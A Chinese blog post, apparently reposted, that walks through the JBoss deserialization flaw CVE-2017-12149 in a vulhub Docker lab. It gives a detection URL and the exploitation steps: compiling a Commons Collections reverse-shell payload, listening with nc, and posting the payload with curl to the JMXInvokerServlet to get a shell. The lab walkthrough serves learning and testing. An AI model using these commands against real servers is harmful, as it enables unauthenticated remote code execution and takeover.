当前位置:   article > 正文

JBoss漏洞 - CVE-2017-12149

cve-2017-12149

Jboss Application Server反序列化命令执行漏洞

漏洞简介

JBOSSApplication Server 反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)。

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter
过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

首先需要了解Java的序列化和反序列化。Java序列化就是指把Java对象转换为字节序列的过程,在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。Java反序列化就是指把字节序列恢复为Java对象的过程,根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

影响范围

JBoss 5.x - 6.x

靶场环境搭建

docker搭建使用vulhub靶场

cd /vulhub/jboss/CVE-2017-7504

docker-compose up -d

docker ps

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

访问地址,搭建成功

漏洞发现

访问 http://ip:port/invoker/readonly ,若返回如下显示状态码为500的报错界面,则证明漏洞存在

漏洞利用

这里需要用到 javac 进行编译 ser 文件,所以要有 java 环境,最好是Java 1.8 版本

攻击机检查JAVA环境

java -version

javac -version
  • 1
  • 2
  • 3

下载利用反序列化工具 CVE-2015-7501

https://github.com/ianxtianxt/CVE-2015-7501
  • 1

这里使用的反序列化工具对于 CVE-2017-12149 和 CVE-2015-7501/7504 漏洞都可以进行利用,总体上都是利用java的反序列化。

进行漏洞测试

下载解压缩进入工具目录,使用 java 编译 ser 文件,这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser 文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap
ip:port
(IP是攻击机ip,port是要监听的端口)
  • 1
  • 2
  • 3
  • 4
  • 5

使用 nc 监听端口

nc -lvvp 4444
  • 1

curl 请求反弹建立连接

curl http://192.168.88.130:8080/invoker/JMXInvokerServlet --data-binary
@ReverseShellCommonsCollectionsHashMap.ser
  • 1
  • 2

打开监听端口命令行,得到目标权限

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/462897
推荐阅读
相关标签
  

闽ICP备14008679号